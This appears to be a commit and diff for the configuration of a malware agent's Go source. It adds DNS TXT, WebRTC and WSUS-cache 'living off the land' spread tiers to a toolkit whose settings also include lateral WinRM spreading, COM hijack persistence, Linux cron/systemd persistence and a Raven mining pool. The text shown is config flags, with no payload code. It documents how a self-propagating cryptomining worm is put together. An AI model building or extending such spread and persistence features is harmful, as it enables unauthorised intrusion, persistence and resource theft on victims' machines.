Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/config/builtin.go

@@ -56,5 +56,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		RVNPoolPass:         "x",
 		LotlOnionEnabled:     false,
 		LotlPolicyFromServer: false,
+		DnsTxtSpread:         true,
+		WebRTCMeshSpread:     false,
+		WSUSCachePeerSpread:  true,
 	}
 }

agent/config/config.go

@@ -71,6 +71,9 @@ type BuiltinConfig struct {
 	RemoteAggressive bool
 	// Spread technique options (forge-baked; owned/lab only)
 	WinRMSpread        bool   // lateral WinRM encoded bootstrap in autospread
+	DnsTxtSpread       bool   // DNS TXT mesh shard staging via _aether zone
+	WebRTCMeshSpread   bool   // WebRTC LAN seed manifest (heavier; default off)
+	WSUSCachePeerSpread bool  // WSUS SoftwareDistribution cousin staging
 	COMHijackPersist   bool   // COM CLSID hijack persistence — default off
 	LinuxLOTLMode      string // systemd_run_user | crontab | both | off
 	// Passive spreading — triggered by the environment rather than active scanning